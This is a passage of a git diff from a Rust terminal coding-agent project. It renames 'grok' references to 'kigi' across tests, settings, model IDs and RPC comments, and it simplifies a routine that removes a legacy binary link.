 /// paragraphs re-wrap on a width change.
@@ -185,10 +185,10 @@ async fn resize_preserves_scroll_position() {
     content.set_response(scroll_anchor_response());
 
     // Spawn FULLSCREEN (alt-screen). `Viewport::Fullscreen` is autoresized on a
-    // terminal resize with NO DSR cursor probe, so grok re-wraps the scrollback
-    // at the new width and the stale `scroll_offset` surfaces the jump in grok's
+    // terminal resize with NO DSR cursor probe, so kigi re-wraps the scrollback
+    // at the new width and the stale `scroll_offset` surfaces the jump in kigi's
     // OWN rendered output. The alt-screen grid is not reflowed by the terminal on
-    // resize, so this isolates grok's scroll-anchor logic with no harness confound.
+    // resize, so this isolates kigi's scroll-anchor logic with no harness confound.
     let binary = pager_binary().expect("resolve pager binary");
     let mut harness =
         PtyHarness::spawn_with_content(&binary, DEFAULT_ROWS, WIDE_COLS, &content, &[])
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/reverse_agent_type_mismatch_cursor_to_default.rs b/crates/codegen/kigi-tui/tests/pty_e2e/reverse_agent_type_mismatch_cursor_to_default.rs
index 79892a5..e8bb48e 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/reverse_agent_type_mismatch_cursor_to_default.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/reverse_agent_type_mismatch_cursor_to_default.rs
@@ -42,7 +42,7 @@ async fn reverse_agent_type_mismatch_cursor_to_default() {
         .wait_for_text(MOCK_RESPONSE_SENTINEL, Duration::from_secs(30))
         .expect("response rendered");
 
-    // Switch to default-model (different agent type: cursor → grok-build).
+    // Switch to default-model (different agent type: cursor → kigi).
     harness
         .inject_keys(b"/model default-model\r")
         .expect("type model switch");
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/same_agent_type_switch_no_modal.rs b/crates/codegen/kigi-tui/tests/pty_e2e/same_agent_type_switch_no_modal.rs
index 1996fc4..edfe65c 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/same_agent_type_switch_no_modal.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/same_agent_type_switch_no_modal.rs
@@ -8,7 +8,7 @@ use super::common::*;
 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
 #[ignore]
 async fn same_agent_type_switch_no_modal() {
-    // Both models have no agent_type → both use grok-build harness.
+    // Both models have no agent_type → both use kigi harness.
     let content = ContentController::start_with_models(vec![
         MockModel::new("model-a"),
         MockModel::new("model-b"),
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/wrap_echo_passthrough_and_exit_code.rs b/crates/codegen/kigi-tui/tests/pty_e2e/wrap_echo_passthrough_and_exit_code.rs
index 7de0d99..b617249 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/wrap_echo_passthrough_and_exit_code.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/wrap_echo_passthrough_and_exit_code.rs
@@ -2,7 +2,7 @@
 #[allow(unused_imports)]
 use super::common::*;
 
-/// Direct-route e2e: `grok wrap` with a resolvable explicit path runs the
+/// Direct-route e2e: `kigi wrap` with a resolvable explicit path runs the
 /// command inside the wrap PTY with output passing through, and propagates the
 /// child's exit code — both for success and for a nonzero exit.
 #[test]
@@ -24,6 +24,6 @@ fn wrap_echo_passthrough_and_exit_code() {
     assert_eq!(
         code,
         Some(7),
-        "a nonzero child exit must propagate as grok wrap's own exit\nraw:\n{raw}"
+        "a nonzero child exit must propagate as kigi wrap's own exit\nraw:\n{raw}"
     );
 }
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/wrap_explicit_path_not_found_fails_fast.rs b/crates/codegen/kigi-tui/tests/pty_e2e/wrap_explicit_path_not_found_fails_fast.rs
index b21a10f..452eb9b 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/wrap_explicit_path_not_found_fails_fast.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/wrap_explicit_path_not_found_fails_fast.rs
@@ -5,13 +5,13 @@ use super::common::*;
 /// Fail-fast e2e: an explicit path (contains `/`) never routes through the
 /// shell, so a nonexistent one must keep the old precise failure — PTY spawn
 /// fails, the exec fallback engages ("wrapped mode failed"), exec ENOENTs
-/// ("failed to exec"), and grok exits 1. Guards against the shell route ever
+/// ("failed to exec"), and kigi exits 1. Guards against the shell route ever
 /// swallowing path typos into a confusing shell error.
 #[test]
 #[ignore = "PTY e2e; run the owning pty_e2e_* Cargo test with --ignored (see Cargo.toml)"]
 #[cfg(unix)]
 fn wrap_explicit_path_not_found_fails_fast() {
-    let (code, raw) = run_wrap(&["/nonexistent-grok-wrap-e2e/prog", "arg"], &[]);
+    let (code, raw) = run_wrap(&["/nonexistent-kigi-wrap-e2e/prog", "arg"], &[]);
 
     assert!(
         raw.contains("wrapped mode failed"),
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/wrap_not_found_alias_routes_via_shell_contract.rs b/crates/codegen/kigi-tui/tests/pty_e2e/wrap_not_found_alias_routes_via_shell_contract.rs
index 87384a3..75fd74c 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/wrap_not_found_alias_routes_via_shell_contract.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/wrap_not_found_alias_routes_via_shell_contract.rs
@@ -9,7 +9,7 @@ use super::common::*;
 ///
 /// A fake argv-echoing `$SHELL` makes the assertion deterministic: real alias
 /// expansion is the shell's own contract (and rc-file dependent), while the
-/// argv shape is the part `grok wrap` owns. The quoting round-trip against a
+/// argv shape is the part `kigi wrap` owns. The quoting round-trip against a
 /// real shell is covered by `joined_line_roundtrips_words_through_real_sh` in
 /// `wrap_cmd_tests`.
 #[test]
@@ -18,7 +18,7 @@ use super::common::*;
 fn wrap_not_found_alias_routes_via_shell_contract() {
     let (_dir, shell) = fake_argv_echo_shell();
     let (code, raw) = run_wrap(
-        &["grok-wrap-e2e-alias-xx", "with space"],
+        &["kigi-wrap-e2e-alias-xx", "with space"],
         &[("SHELL", &shell)],
     );
 
@@ -28,7 +28,7 @@ fn wrap_not_found_alias_routes_via_shell_contract() {
     );
     assert!(raw.contains("ARG:-c"), "shell must get -c\nraw:\n{raw}");
     assert!(
-        raw.contains("ARG:grok-wrap-e2e-alias-xx 'with space'"),
+        raw.contains("ARG:kigi-wrap-e2e-alias-xx 'with space'"),
         "rejoined line must keep the first word bare and quote the tail\nraw:\n{raw}"
     );
     assert_eq!(
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/wrap_osc52_sink_env_advertised_through_shell.rs b/crates/codegen/kigi-tui/tests/pty_e2e/wrap_osc52_sink_env_advertised_through_shell.rs
index dfa4801..f54b17b 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/wrap_osc52_sink_env_advertised_through_shell.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/wrap_osc52_sink_env_advertised_through_shell.rs
@@ -3,7 +3,7 @@
 use super::common::*;
 
 /// OSC 52 sink advertisement e2e: the wrapped child must see
-/// `KIGI_OSC52_SINK=1` (the signal an inner `grok` uses to trust OSC 52 over
+/// `KIGI_OSC52_SINK=1` (the signal an inner `kigi` uses to trust OSC 52 over
 /// SSH — see `run_wrapped_command`), including through the `$SHELL -i -c` hop.
 /// The parent env pins the var to `0` so a pass can only come from the wrap
 /// layer's own override, not from an inherited value.
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/wrap_single_string_routes_via_shell.rs b/crates/codegen/kigi-tui/tests/pty_e2e/wrap_single_string_routes_via_shell.rs
index 2871481..392cf89 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/wrap_single_string_routes_via_shell.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/wrap_single_string_routes_via_shell.rs
@@ -2,7 +2,7 @@
 #[allow(unused_imports)]
 use super::common::*;
 
-/// Raw-string route e2e — the original field regression (`grok wrap "mycli ssh
+/// Raw-string route e2e — the original field regression (`kigi wrap "mycli ssh
 /// host"`): ONE argv element containing spaces must be handed to `$SHELL -i -c`
 /// for word-splitting instead of being spawned as a program literally named
 /// `echo wrap-e2e one two`. `SHELL` is pinned to `/bin/sh` for determinism.
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e_smoke.rs b/crates/codegen/kigi-tui/tests/pty_e2e_smoke.rs
index 65d0439..6b55362 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e_smoke.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e_smoke.rs
@@ -1,5 +1,5 @@
 //! Basic PTY coverage: startup, input, rendering, permission-mode keys, and
-//! `grok wrap` command routing.
+//! `kigi wrap` command routing.
 //!
 //! All cases are ignored for ordinary Cargo runs; Bazel opts in and caps this
 //! process-heavy family at four concurrent libtest workers.
diff --git a/crates/codegen/kigi-tui/tests/scenarios/folder_trust_prompt.yaml b/crates/codegen/kigi-tui/tests/scenarios/folder_trust_prompt.yaml
index 19a0126..364aba3 100644
--- a/crates/codegen/kigi-tui/tests/scenarios/folder_trust_prompt.yaml
+++ b/crates/codegen/kigi-tui/tests/scenarios/folder_trust_prompt.yaml
@@ -13,7 +13,7 @@ environment:
   env:
     - key: KIGI_FOLDER_TRUST
       value: "1"
-    # A self-built (unstamped) grok auto-trusts and never prompts; simulate a
+    # A self-built (unstamped) kigi auto-trusts and never prompts; simulate a
     # release build so the folder-trust prompt is actually evaluated.
     - key: KIGI_TEST_VERSION
       value: "0.0.0-sim"
diff --git a/crates/codegen/kigi-tui/tests/scenarios/mid_text_skill_token_echo.yaml b/crates/codegen/kigi-tui/tests/scenarios/mid_text_skill_token_echo.yaml
index 80c2029..cfcc4a7 100644
--- a/crates/codegen/kigi-tui/tests/scenarios/mid_text_skill_token_echo.yaml
+++ b/crates/codegen/kigi-tui/tests/scenarios/mid_text_skill_token_echo.yaml
@@ -3,7 +3,7 @@ description: >
   A plain prompt referencing a skill mid-message
   ("great /test-skill do it") keeps the composer's teal token highlight in the
   scrollback echo after submit. The workspace seeds a repo-local
-  .grok/skills/test-skill/SKILL.md so the real shell advertises the skill; the
+  .kigi/skills/test-skill/SKILL.md so the real shell advertises the skill; the
   screenshots capture the styled composer (pre-submit) and the styled echo
   (post-submit) — the styled JSON artifacts carry the per-run fg colors for
   visual verification and demo material.
@@ -15,7 +15,7 @@ environment:
 workspace:
   git_init: true
   files:
-    ".grok/skills/test-skill/SKILL.md": "---\nname: test-skill\ndescription: Test skill for echo styling.\n---\n\nDo the thing.\n"
+    ".kigi/skills/test-skill/SKILL.md": "---\nname: test-skill\ndescription: Test skill for echo styling.\n---\n\nDo the thing.\n"
 mock:
   response: "MIDTEXT_SKILL_ECHO_DONE assistant reply after the mid-text skill prompt."
 steps:
diff --git a/crates/codegen/kigi-tui/tests/settings_e2e.rs b/crates/codegen/kigi-tui/tests/settings_e2e.rs
index 6a5cee0..e81672d 100644
--- a/crates/codegen/kigi-tui/tests/settings_e2e.rs
+++ b/crates/codegen/kigi-tui/tests/settings_e2e.rs
@@ -1720,9 +1720,9 @@ fn defaults_round_trip_through_registry() {
             "remember_tool_approvals" => SettingValue::Bool(false),
             "toolset.ask_user_question.timeout_enabled" => SettingValue::Bool(true),
             "keep_text_selection" => SettingValue::Enum("flash"),
-            "theme" => SettingValue::Enum("groknight"),
-            "auto_dark_theme" => SettingValue::Enum("groknight"),
-            "auto_light_theme" => SettingValue::Enum("grokday"),
+            "theme" => SettingValue::Enum("kiginight"),
+            "auto_dark_theme" => SettingValue::Enum("kiginight"),
+            "auto_light_theme" => SettingValue::Enum("kigiday"),
             "render_mermaid" => SettingValue::Enum("auto"),
             "multiline_mode" => SettingValue::Bool(false),
             "permission_mode" => SettingValue::Enum("ask"),
@@ -2515,7 +2515,7 @@ fn pr4_mouse_click_in_theme_picker_is_no_op() {
     s.mode = SettingsModalMode::PickingEnum {
         key: "theme",
         choices_idx: 0,
-        original_value: SettingValue::Enum("groknight"),
+        original_value: SettingValue::Enum("kiginight"),
         supports_preview: true,
     };
     synth_rects(&mut s);
@@ -3561,7 +3561,7 @@ fn reset_overlay_dims_all_rows_except_target() {
 }
 
 /// User-feedback follow-up: the settings modal renders a 1-line
-/// "Ask Grok" tip footer at the bottom of the content area in
+/// "Ask Kigi" tip footer at the bottom of the content area in
 /// Browse, FilterFocused, and PickingEnum modes (always-on tip).
 /// The footer is suppressed in `EditingValue` because the editor
 /// needs every line for input + validation. This pins the
@@ -3595,12 +3595,12 @@ fn docs_footer_renders_for_browse_and_picker() {
             all_text.push('\n');
         }
         assert!(
-            all_text.contains("Ask Grok"),
-            "[{fixture_label}] docs footer (`Ask Grok`) must appear in the rendered modal:\n\
+            all_text.contains("Ask Kigi"),
+            "[{fixture_label}] docs footer (`Ask Kigi`) must appear in the rendered modal:\n\
              {all_text}"
         );
         assert!(
-            all_text.contains("change theme to grokday"),
+            all_text.contains("change theme to kigiday"),
             "[{fixture_label}] docs footer must include the example phrasing"
         );
     }
@@ -4008,12 +4008,12 @@ fn pr14_default_model_picker_commits_resolved_model_id() {
     let snapshot = PagerLocalSnapshot {
         available_models: vec![
             (
-                "Grok 4.5".to_string(),
-                agent_client_protocol::ModelId::new(std::sync::Arc::from("grok-4.5")),
+                "Kigi 4.5".to_string(),
+                agent_client_protocol::ModelId::new(std::sync::Arc::from("kigi-4.5")),
             ),
             (
-                "Grok 3".to_string(),
-                agent_client_protocol::ModelId::new(std::sync::Arc::from("grok-3")),
+                "Kigi 3".to_string(),
+                agent_client_protocol::ModelId::new(std::sync::Arc::from("kigi-3")),
             ),
         ],
         ..PagerLocalSnapshot::default()
@@ -4034,7 +4034,7 @@ fn pr14_default_model_picker_commits_resolved_model_id() {
         "Enter must transition to PickingEnum for default_model"
     );
 
-    // Walk down past row 0 ("(no override)") to row 1 ("Grok 4.5").
+    // Walk down past row 0 ("(no override)") to row 1 ("Kigi 4.5").
     let outcome = handle_settings_key(&mut s, &press(KeyCode::Down));
     assert!(
         matches!(outcome, SettingsKeyOutcome::Changed),
@@ -4047,7 +4047,7 @@ fn pr14_default_model_picker_commits_resolved_model_id() {
         SettingsKeyOutcome::Action(Action::SetDefaultModel(id)) => {
             assert_eq!(
                 id.0.as_ref(),
-                "grok-4.5",
+                "kigi-4.5",
                 "committed id must match snapshot"
             );
         }
@@ -4064,8 +4064,8 @@ fn pr14_default_model_picker_commits_resolved_model_id() {
 fn pr14_default_model_picker_row_zero_commits_clear_action() {
     let snapshot = PagerLocalSnapshot {
         available_models: vec![(
-            "Grok 3".to_string(),
-            agent_client_protocol::ModelId::new(std::sync::Arc::from("grok-3")),
+            "Kigi 3".to_string(),
+            agent_client_protocol::ModelId::new(std::sync::Arc::from("kigi-3")),
         )],
         ..PagerLocalSnapshot::default()
     };
@@ -4101,8 +4101,8 @@ fn pr14_default_model_picker_row_zero_commits_clear_action() {
 fn pr14_mouse_click_on_dynamic_enum_row_opens_picker() {
     let snapshot = PagerLocalSnapshot {
         available_models: vec![(
-            "Grok 3".to_string(),
-            agent_client_protocol::ModelId::new(std::sync::Arc::from("grok-3")),
+            "Kigi 3".to_string(),
+            agent_client_protocol::ModelId::new(std::sync::Arc::from("kigi-3")),
         )],
         ..PagerLocalSnapshot::default()
     };
diff --git a/crates/codegen/kigi-update/src/auto_update.rs b/crates/codegen/kigi-update/src/auto_update.rs
index b91b9d2..954382e 100644
--- a/crates/codegen/kigi-update/src/auto_update.rs
+++ b/crates/codegen/kigi-update/src/auto_update.rs
@@ -1138,20 +1138,14 @@ async fn remove_stale_models_cache() {
     }
 }
 
-/// Remove stale grok-era links/binaries from `~/.kigi/bin/` left by
-/// installations that predate the Kigi distribution rewrite (`grok`,
-/// `agent`, `grok-pager`). `kigi` is the single managed entry point now.
+/// Remove stale links/binaries from `~/.kigi/bin/` left by installations
+/// that predate the single-binary distribution rewrite (`agent`). `kigi`
+/// is the single managed entry point now.
 async fn remove_legacy_links(bin_dir: &Path) {
-    for base in ["grok", "agent", "grok-pager"] {
-        let name = if cfg!(windows) {
-            format!("{base}.exe")
-        } else {
-            base.to_string()
-        };
-        let link = bin_dir.join(name);
-        if link.exists() || link.is_symlink() {
-            let _ = tokio::fs::remove_file(&link).await;
-        }
+    let name = if cfg!(windows) { "agent.exe" } else { "agent" };
+    let link = bin_dir.join(name);
+    if link.exists() || link.is_symlink() {
+        let _ = tokio::fs::remove_file(&link).await;
     }
 }
 
diff --git a/crates/codegen/kigi-update/tests/test_install_internal.rs b/crates/codegen/kigi-update/tests/test_install_internal.rs
index 1f2004f..8d066dd 100644
--- a/crates/codegen/kigi-update/tests/test_install_internal.rs
+++ b/crates/codegen/kigi-update/tests/test_install_internal.rs
@@ -181,9 +181,9 @@ async fn install_alpha_channel_resolves_semver_max_from_release_list() {
 
 #[tokio::test]
 #[serial]
-async fn install_removes_legacy_grok_links() {
-    // Pre-rewrite installs left grok/agent/grok-pager links in bin/; the
-    // installer must retire them.
+async fn install_removes_legacy_links() {
+    // Pre-rewrite installs left `agent` links in bin/; the installer must
+    // retire them.
     let _ = test_home();
     reset_home();
     let server = MockServer::start().await;
@@ -192,21 +192,18 @@ async fn install_removes_legacy_grok_links() {
 
     let bin_dir = test_home().join("bin");
     std::fs::create_dir_all(&bin_dir).unwrap();
-    for legacy in ["grok", "agent", "grok-pager"] {
-        std::os::unix::fs::symlink("/tmp/fake-old-target", bin_dir.join(legacy)).unwrap();
-    }
+    let legacy = "agent";
+    std::os::unix::fs::symlink("/tmp/fake-old-target", bin_dir.join(legacy)).unwrap();
 
     install_internal_from_base(Some("0.1.181"), &cfg, &base(&server))
         .await
         .unwrap();
 
-    for legacy in ["grok", "agent", "grok-pager"] {
-        let link = bin_dir.join(legacy);
-        assert!(
-            !link.exists() && !link.is_symlink(),
-            "legacy {legacy} link should be removed"
-        );
-    }
+    let link = bin_dir.join(legacy);
+    assert!(
+        !link.exists() && !link.is_symlink(),
+        "legacy {legacy} link should be removed"
+    );
     assert!(bin_dir.join("kigi").is_symlink(), "kigi link installed");
 }
 
diff --git a/crates/codegen/kigi-update/tests/test_io.rs b/crates/codegen/kigi-update/tests/test_io.rs
index e3d368c..359e4e9 100644
--- a/crates/codegen/kigi-update/tests/test_io.rs
+++ b/crates/codegen/kigi-update/tests/test_io.rs
@@ -135,7 +135,7 @@ async fn write_version_cache_records_recent_timestamp() {
 // writes the file directly so we can control the timestamp.
 // ─────────────────────────────────────────────────────────────────────────────
 
-/// Write a `GrokVersion`-shaped JSON file with an arbitrary timestamp.
+/// Write a `KigiVersion`-shaped JSON file with an arbitrary timestamp.
 fn write_cache_with_timestamp(version: &str, ts: time::OffsetDateTime) {
     let ts_str = ts
         .format(&time::format_description::well_known::Rfc3339)
@@ -154,7 +154,7 @@ fn write_cache_with_timestamp(version: &str, ts: time::OffsetDateTime) {
 /// Re-implement the cache-freshness check using the public API. We can't
 /// import the private `is_version_cache_fresh` directly, but we can verify
 /// its on-disk contract: file shape + freshness logic via the public
-/// `GrokVersion` JSON layout.
+/// `KigiVersion` JSON layout.
 async fn cache_is_fresh() -> bool {
     // Mirror the implementation: look at version.json under KIGI_SHARE_DIR,
     // parse, and check the TTL.
@@ -218,7 +218,7 @@ async fn version_cache_missing_file_is_not_fresh() {
 }
 
 // ─────────────────────────────────────────────────────────────────────────────
-// version.json wire format — the on-disk file is read by every grok launch.
+// version.json wire format — the on-disk file is read by every kigi launch.
 // ─────────────────────────────────────────────────────────────────────────────
 
 #[tokio::test]
diff --git a/crates/codegen/kigi-version/Cargo.toml b/crates/codegen/kigi-version/Cargo.toml
index 735e46f..e899aae 100644
--- a/crates/codegen/kigi-version/Cargo.toml
+++ b/crates/codegen/kigi-version/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 name = "kigi-version"
 version.workspace = true
 edition.workspace = true
-description = "Lockstepped grok CLI version."
+description = "Lockstepped kigi CLI version."
 
 [dependencies]
 semver = { workspace = true }
diff --git a/crates/codegen/kigi-version/src/lib.rs b/crates/codegen/kigi-version/src/lib.rs
index c3d8774..845f8de 100644
--- a/crates/codegen/kigi-version/src/lib.rs
+++ b/crates/codegen/kigi-version/src/lib.rs
@@ -1,4 +1,4 @@
-//! Installed grok CLI version, lockstepped with shipping binaries.
+//! Installed kigi CLI version, lockstepped with shipping binaries.
 
 use semver::Version;
 
diff --git a/crates/codegen/kigi-workspace-types/src/rpc/fs.rs b/crates/codegen/kigi-workspace-types/src/rpc/fs.rs
index b2e7463..b9e984f 100644
--- a/crates/codegen/kigi-workspace-types/src/rpc/fs.rs
+++ b/crates/codegen/kigi-workspace-types/src/rpc/fs.rs
@@ -1,6 +1,6 @@
 //! File I/O methods: service-level `workspace.put_files` /
 //! `workspace.get_files` and the `workspace.fs_*` extension ops backing
-//! the shell's `x.ai/fs/*` ACP methods.
+//! the shell's `kigi/fs/*` ACP methods.
 
 use std::path::PathBuf;
 
@@ -316,7 +316,7 @@ impl WorkspaceRpc for FsDeleteFileReq {
 // compile against the same structs — a field rename breaks both sides.
 //
 // The method names use a `client_fs` segment (not `fs`) because the
-// `workspace.fs_*` ops above already serve the shell's `x.ai/fs/*`
+// `workspace.fs_*` ops above already serve the shell's `kigi/fs/*`
 // methods with incompatible schemas.
 
 /// Wire method name for [`ClientFsListReq`].
@@ -326,7 +326,7 @@ pub const CLIENT_FS_STAT_METHOD: &str = "workspace.client_fs_stat";
 /// Wire method name for [`ClientFsReadFileReq`].
 pub const CLIENT_FS_READ_FILE_METHOD: &str = "workspace.client_fs_read_file";
 
-/// Filesystem node kind. Wire values match the shell's `x.ai/fs/list`
+/// Filesystem node kind. Wire values match the shell's `kigi/fs/list`
 /// node `type` strings.
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
 #[serde(rename_all = "lowercase")]
@@ -370,7 +370,7 @@ fn default_max_bytes() -> u64 {
 }
 
 /// ACP-compatible list request (camelCase wire format, mirrors
-/// `x.ai/fs/list` plus `offset` pagination).
+/// `kigi/fs/list` plus `offset` pagination).
 #[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ClientFsListReq {
diff --git a/crates/codegen/kigi-workspace-types/src/rpc/git.rs b/crates/codegen/kigi-workspace-types/src/rpc/git.rs
index 704a305..6976c2c 100644
--- a/crates/codegen/kigi-workspace-types/src/rpc/git.rs
+++ b/crates/codegen/kigi-workspace-types/src/rpc/git.rs
@@ -588,7 +588,7 @@ pub enum DiscardScope {
     Both,
 }
 
-/// Structured repo info returned by `x.ai/git/info`.
+/// Structured repo info returned by `kigi/git/info`.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct GitInfoData {
@@ -606,7 +606,7 @@ pub struct GitInfoData {
     pub vcs_kind: Option<VcsKind>,
 }
 
-/// Single branch entry returned by `x.ai/git/branches`.
+/// Single branch entry returned by `kigi/git/branches`.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct GitBranchEntry {
@@ -615,7 +615,7 @@ pub struct GitBranchEntry {
     pub remote: bool,
 }
 
-/// Structured result of `x.ai/git/branches`.
+/// Structured result of `kigi/git/branches`.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct GitBranchListData {
diff --git a/crates/codegen/kigi-workspace-types/src/rpc/mod.rs b/crates/codegen/kigi-workspace-types/src/rpc/mod.rs
index b218470..c311bd9 100644
--- a/crates/codegen/kigi-workspace-types/src/rpc/mod.rs
+++ b/crates/codegen/kigi-workspace-types/src/rpc/mod.rs
@@ -35,7 +35,7 @@ pub const WORKSPACE_EVENTS_TOOL_ID: &str = "workspace_events";
 pub const WORKSPACE_TOOL_NOTIFICATIONS_TOOL_ID: &str = "workspace_tool_notifications";
 
 /// Tool ID used for workspace-originated client ext-notification frames
-/// (e.g. `x.ai/search/fuzzy/status`). Carries `{ method, params }`.
+/// (e.g. `kigi/search/fuzzy/status`). Carries `{ method, params }`.
 pub const WORKSPACE_CLIENT_EXT_NOTIFICATIONS_TOOL_ID: &str = "workspace_client_ext_notifications";
 
 /// Marker trait for typed workspace RPC requests. Client and server use
diff --git a/crates/codegen/kigi-workspace-types/src/rpc/search.rs b/crates/codegen/kigi-workspace-types/src/rpc/search.rs
index d7b2c1f..7a10d68 100644
--- a/crates/codegen/kigi-workspace-types/src/rpc/search.rs
+++ b/crates/codegen/kigi-workspace-types/src/rpc/search.rs
@@ -37,7 +37,7 @@ pub struct ContentSearchRequest {
     /// Falls back to the workspace root when absent.
     #[serde(default)]
     pub cwd: Option<std::path::PathBuf>,
-    /// Session id used in the `x.ai/search/content/status` payload.
+    /// Session id used in the `kigi/search/content/status` payload.
     #[serde(default)]
     pub context_id: Option<String>,
 }
diff --git a/crates/codegen/kigi-workspace-types/src/rpc/skills.rs b/crates/codegen/kigi-workspace-types/src/rpc/skills.rs
index 2fcd925..30656a2 100644
--- a/crates/codegen/kigi-workspace-types/src/rpc/skills.rs
+++ b/crates/codegen/kigi-workspace-types/src/rpc/skills.rs
@@ -198,7 +198,7 @@ mod tests {
             "plugin_root": "/root/.kigi/plugins/infra-plugin",
             "plugin_data": "/root/.kigi/plugin-data/infra-plugin",
             "allowed_tools": ["bash"],
-            "model": "grok-4",
+            "model": "kigi-4",
             "effort": "high",
             "user_invocable": true,
             "disable_model_invocation": false,
diff --git a/crates/codegen/kigi-workspace/src/config.rs b/crates/codegen/kigi-workspace/src/config.rs
index 2e1180b..be16fd3 100644
--- a/crates/codegen/kigi-workspace/src/config.rs
+++ b/crates/codegen/kigi-workspace/src/config.rs
@@ -133,7 +133,7 @@ pub struct WorkspaceConfig {
     /// shell caller resolves the verdict and threads it in; callers without a
     /// folder-trust decision pass `true`.
     pub project_lsp_trusted: bool,
-    /// Confine `x.ai/fs/*` / `workspace.fs_*` resolution to the workspace root
+    /// Confine `kigi/fs/*` / `workspace.fs_*` resolution to the workspace root
     /// (reject `..`, absolute-outside-root, symlink escapes). Default `false`
     /// (unconfined) — set to `true` only by the workspace server on a remote
     /// sandbox, where the root is a real tenant boundary.
diff --git a/crates/codegen/kigi-workspace/src/discovery.rs b/crates/codegen/kigi-workspace/src/discovery.rs
index 7c4fe91..b1969ed 100644
--- a/crates/codegen/kigi-workspace/src/discovery.rs
+++ b/crates/codegen/kigi-workspace/src/discovery.rs
@@ -78,7 +78,7 @@ pub async fn discover_agents_md(root_cwd: &Path) -> Vec<Value> {
     files
         .into_iter()
         .map(|mut file| {
-            // Strip rules-file YAML frontmatter so it does not leak as raw YAML (matches grok-build render).
+            // Strip rules-file YAML frontmatter so it does not leak as raw YAML (matches kigi render).
             if file.file_path.contains("/.kigi/rules/")
                 || file.file_path.contains("/.claude/rules/")
             {
@@ -332,7 +332,7 @@ mod tests {
 
     #[test]
     fn agent_config_file_wire_matches_workspace_types_mirror() {
-        // The RPC serializes grok-build's AgentConfigFile and the remote
+        // The RPC serializes kigi's AgentConfigFile and the remote
         // consumer deserializes the workspace-types mirror; pin the cross-crate
         // serde shape so a rename/attr drift on either side can't silently
         // break discovery.
@@ -484,10 +484,10 @@ mod tests {
     #[test]
     fn load_project_config_reads_toml_as_json() {
         let tmp = tempfile::tempdir().unwrap();
-        let grok_dir = tmp.path().join(".kigi");
-        fs::create_dir_all(&grok_dir).unwrap();
+        let kigi_dir = tmp.path().join(".kigi");
+        fs::create_dir_all(&kigi_dir).unwrap();
         fs::write(
-            grok_dir.join("config.toml"),
+            kigi_dir.join("config.toml"),
             "[skills]\npaths = [\"/extra/skills\"]\n\n[plugins]\ndisabled = [\"noisy-plugin\"]\n",
         )
         .unwrap();
@@ -536,7 +536,7 @@ mod tests {
 
     // Note: `resolve_permissions_with_provenance` checks system-managed
     // settings and requirements.toml from the global config, so on a
-    // developer machine with Grok installed it may return non-Null even
+    // developer machine with Kigi installed it may return non-Null even
     // for a temp directory. Both branches assert a concrete condition.
 
     #[tokio::test]
diff --git a/crates/codegen/kigi-workspace/src/file_system/attach_file.rs b/crates/codegen/kigi-workspace/src/file_system/attach_file.rs
index fef9e72..7ceb990 100644
--- a/crates/codegen/kigi-workspace/src/file_system/attach_file.rs
+++ b/crates/codegen/kigi-workspace/src/file_system/attach_file.rs
@@ -237,7 +237,7 @@ async fn render_blob_attachment(blob: &BlobResourceContents) -> Option<String> {
 /// `/tmp`) never collide on identical content-hash paths and
 /// race each other's cleanup. The real session_dir lives in shell persistence.
 fn session_scratch_root() -> PathBuf {
-    std::env::temp_dir().join(format!("grok-test-sessions-{}", std::process::id()))
+    std::env::temp_dir().join(format!("kigi-test-sessions-{}", std::process::id()))
 }
 /// Write content to session subdir, return absolute path on success.
 /// Uses content hash prefix for dedup: identical content → same path, different content → unique path.
@@ -508,8 +508,8 @@ mod tests {
         let _ = std::fs::remove_file(&expected);
     }
     #[tokio::test]
-    async fn test_grok_render_embedded_resource_uses_file_contents_tag() {
-        let _info = test_info("grok-text");
+    async fn test_kigi_render_embedded_resource_uses_file_contents_tag() {
+        let _info = test_info("kigi-text");
         let resource = EmbeddedResource::new(EmbeddedResourceResource::TextResourceContents(
             agent_client_protocol::TextResourceContents::new(
                 "const x = 1;\nconst y = 2;\n",
@@ -524,8 +524,8 @@ mod tests {
         assert!(!rendered.contains("code_selection"), "got: {rendered}");
     }
     #[tokio::test]
-    async fn test_grok_render_embedded_resource_full_file_uses_is_full_file() {
-        let _info = test_info("grok-full-file");
+    async fn test_kigi_render_embedded_resource_full_file_uses_is_full_file() {
+        let _info = test_info("kigi-full-file");
         let resource = EmbeddedResource::new(EmbeddedResourceResource::TextResourceContents(
             agent_client_protocol::TextResourceContents::new(
                 "fn main() {}\n",
diff --git a/crates/codegen/kigi-workspace/src/file_system/codebase_index.rs b/crates/codegen/kigi-workspace/src/file_system/codebase_index.rs
index ad1251a..d69c41d 100644
